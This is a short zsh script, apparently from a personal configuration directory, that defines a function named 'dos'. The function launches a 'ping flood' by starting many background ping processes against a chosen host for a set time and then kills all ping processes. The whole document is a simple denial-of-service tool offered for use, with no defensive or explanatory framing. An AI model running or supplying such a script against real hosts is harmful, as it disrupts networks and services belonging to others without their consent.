#! /bin/zsh # # this file: # https://dataswamp.org/~incal/conf/.zsh/dos dos () { local host="$1" local n=${2:-20} local t=${3:-10} echo "ping flood on $host ..." for (( i=1; $i <= $n; i++ )); do /bin/ping $host > /dev/null & echo -n "$i " done echo -n '\b.\n' sleep $t killall ping }